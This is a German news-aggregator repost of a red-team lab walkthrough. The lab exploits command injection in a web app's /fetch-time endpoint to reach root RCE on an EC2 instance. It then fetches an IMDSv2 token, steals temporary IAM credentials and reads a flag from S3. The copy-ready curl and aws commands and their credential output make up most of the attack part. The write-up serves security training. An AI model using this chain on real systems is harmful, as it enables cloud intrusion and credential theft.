🕵️ SicherheitslückenWhat continuous operational resilience looks like under DORA(09.09.2026 um 17:53 Uhr)
🔧 AI Nachrichten OpenAI seeks tougher AI rules. CIOs may feel the ripple effects(10.09.2026 um 12:11 Uhr)
🔧 AI Nachrichten Mistral valued at €21bn after €3bn Series D funding round(08.09.2026 um 10:19 Uhr)
🪟 Windows TippsWindows XP's Cursor Indicator Is Getting a Windows 11 Refresh(25.08.2026 um 13:00 Uhr)
🕵️ SicherheitslückenWhat continuous operational resilience looks like under DORA(09.09.2026 um 17:53 Uhr)
🔧 AI Nachrichten OpenAI seeks tougher AI rules. CIOs may feel the ripple effects(10.09.2026 um 12:11 Uhr)
🔧 AI Nachrichten Mistral valued at €21bn after €3bn Series D funding round(08.09.2026 um 10:19 Uhr)
🪟 Windows TippsWindows XP's Cursor Indicator Is Getting a Windows 11 Refresh(25.08.2026 um 13:00 Uhr)

🔧 Programmierung 🕛 vor 1 Monat 3 Min Lesezeit
0

Cybr Academy - [LAB] Compromise EC2 IMDSv2 with RCE (AWS Red Teaming)

↗ Quelle (dev.to)
🗣️ Stimme:
📑 Inhaltsübersicht




Compromising EC2 IMDSv2 via Remote Code Execution






Overview



This lab walks through exploiting a command injection vulnerability in a web application to achieve Remote Code Execution (RCE) on an EC2 instance, then leveraging the Instance Metadata Service v2 (IMDSv2) to steal IAM credentials and access sensitive data in S3.









Step 1 — Finding the Command Injection



The web app exposes a /fetch-time endpoint that accepts a cmd parameter via POST request. The intended use is something like cmd=date to return the current server time. No input sanitization? That's our way in.



We test with a classic command chaining trick:




CODE
curl -X POST -d "cmd=date; whoami" http://34.229.207.76/fetch-time









CODE
Fri Jul 17 21:35:31 UTC 2026
root






We're running as root. The vulnerability is confirmed — whatever we pass in cmd gets executed directly on the server.









Step 2 — Querying the Instance Metadata Service



With RCE in hand, the next move is to check if this EC2 instance has an IAM role attached. IAM roles on EC2 instances expose temporary credentials through the Instance Metadata Service (IMDS) at the link-local address 169.254.169.254.



A quick probe shows the instance is running IMDSv2 — the newer, token-based version of IMDS that requires a session token before returning any metadata. IMDSv1 would have let us query it directly, but IMDSv2 adds a layer of protection. Not an insurmountable one though.



We first request a token:




CODE
curl -X POST -d "cmd=curl -X PUT 'http://169.254.169.254/latest/api/token' \
-H 'X-aws-ec2-metadata-token-ttl-seconds: 21600'"
\
http://34.229.207.76/fetch-time






This returns a short-lived session token valid for 6 hours. With the token in hand, we can now freely query the metadata service through our RCE.









Step 3 — Finding the IAM Role



We use the token to discover what IAM role is attached to the instance:




CODE
curl -X POST -d "cmd=curl -H 'X-aws-ec2-metadata-token: AQAEAEnNUbNaB0I189kN...' \
http://169.254.169.254/latest/meta-data/iam/security-credentials/"
\
http://34.229.207.76/fetch-time






Response: rce-lab-role









Step 4 — Stealing the Credentials



Now we query that specific role to extract its temporary AWS credentials:




CODE
curl -X POST -d "cmd=curl -H 'X-aws-ec2-metadata-token: AQAEAEnNUbNaB0I189kN...' \
http://169.254.169.254/latest/meta-data/iam/security-credentials/rce-lab-role"
\
http://34.229.207.76/fetch-time






We get back a full set of temporary credentials:




CODE
{
"Code": "Success",
"AccessKeyId": "ASIAQGYBPW5TU2CCIQMW",
"SecretAccessKey": "iMaC8nPwTubKZnkMccJTHanYT0DuMRWswB0huIkb",
"Token": "IQoJb3JpZ2luX2VjEOb//...",
"Expiration": "2026-07-21T03:55:03Z"
}






We load these into a local AWS CLI profile called rce-lab and confirm our identity:




CODE
aws sts get-caller-identity --profile rce-lab









CODE
{
"UserId": "AROAQGYBPW5TZJ3EEZLSB:i-0075a04de7e6bb809",
"Account": "014498641767",
"Arn": "arn:aws:sts::014498641767:assumed-role/rce-lab-role/i-0075a04de7e6bb809"
}






We're in.









Step 5 — Enumerating Permissions



Attempting to list the role's own policies hits a wall:




CODE
aws iam list-role-policies --role-name rce-lab-role --profile rce-lab
# AccessDenied

aws iam list-attached-role-policies --role-name rce-lab-role --profile rce-lab
# AccessDenied






The role can't describe itself — a common restriction in hardened environments. Rather than spinning our wheels on IAM, we pivot to checking common services directly. If the role has S3 access, we'll find out fast:




CODE
aws s3 ls --profile rce-lab









CODE
2026-07-20 17:17:31 cybr-imdsv2-rce-014498641767






A bucket. Let's look inside:




CODE
aws s3 ls s3://cybr-imdsv2-rce-014498641767 --profile rce-lab









CODE
2026-07-20 17:17:55 28 flag.txt












Step 6 — Capturing the Flag






CODE
aws s3 cp s3://cybr-imdsv2-rce-014498641767/flag.txt . --profile rce-lab
cat flag.txt






FLAG{CYBR_S3_ACC3SS_V!A_RC3}









Attack Chain Summary






CODE
Command Injection in /fetch-time endpoint

Remote Code Execution as root

IMDSv2 token obtained via RCE

IAM role name discovered from metadata

Temporary AWS credentials stolen

S3 bucket enumerated

Flag captured









PWNSOME REFERENCES





Vollständiger Original-Bericht
Ausführliche Details, Code-Beispiele & Hersteller-Stellungnahme auf dev.to.
↗ Original-Artikel auf dev.to lesen
Wie bewertest du diesen Beitrag?
1 Klick Feedback
Teilen mit Netzwerk & Team:

Community-Analysen & Experten-Meinungen 0

Verfasse deine eigene Analyse, teile Workarounds oder diskutiere diesen Vorfall im Blog.
Noch keine Community-Analyse verfasst. Markiere einen Textabschnitt oder klicke oben auf Eigene Analyse verfassen“!
Community Pulse: Relevanz-Einschätzung
1 Klick Experten-Votum
🔴 Akute Relevanz 0%
🟡 In Evaluierung 0%
🟢 Keine Auswirkung 0%
Spannende Innovation 0%
Verwandte Story-Cluster & Quellen (Vektor-KI)
Port 8095 Engine
1 Quelle
Sam Altman calls GPT-6 Astra rollout ‘messy’ as enterprise users wait for access
1 Quelle
Swiss government explores replacing Microsoft 365 with open-source software
1 Quelle
What continuous operational resilience looks like under DORA
Ähnliche Beiträge
🔍 Verwandte News

Auch interessante Nachrichten Cybr Academy - [LAB] Compromise EC2 IMDSv2 with RCE (AWS Red Teaming)

Thematisch verwandte Begriffe: Cybr, Academy, Compromise, IMDSv2 · 6 Treffer

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...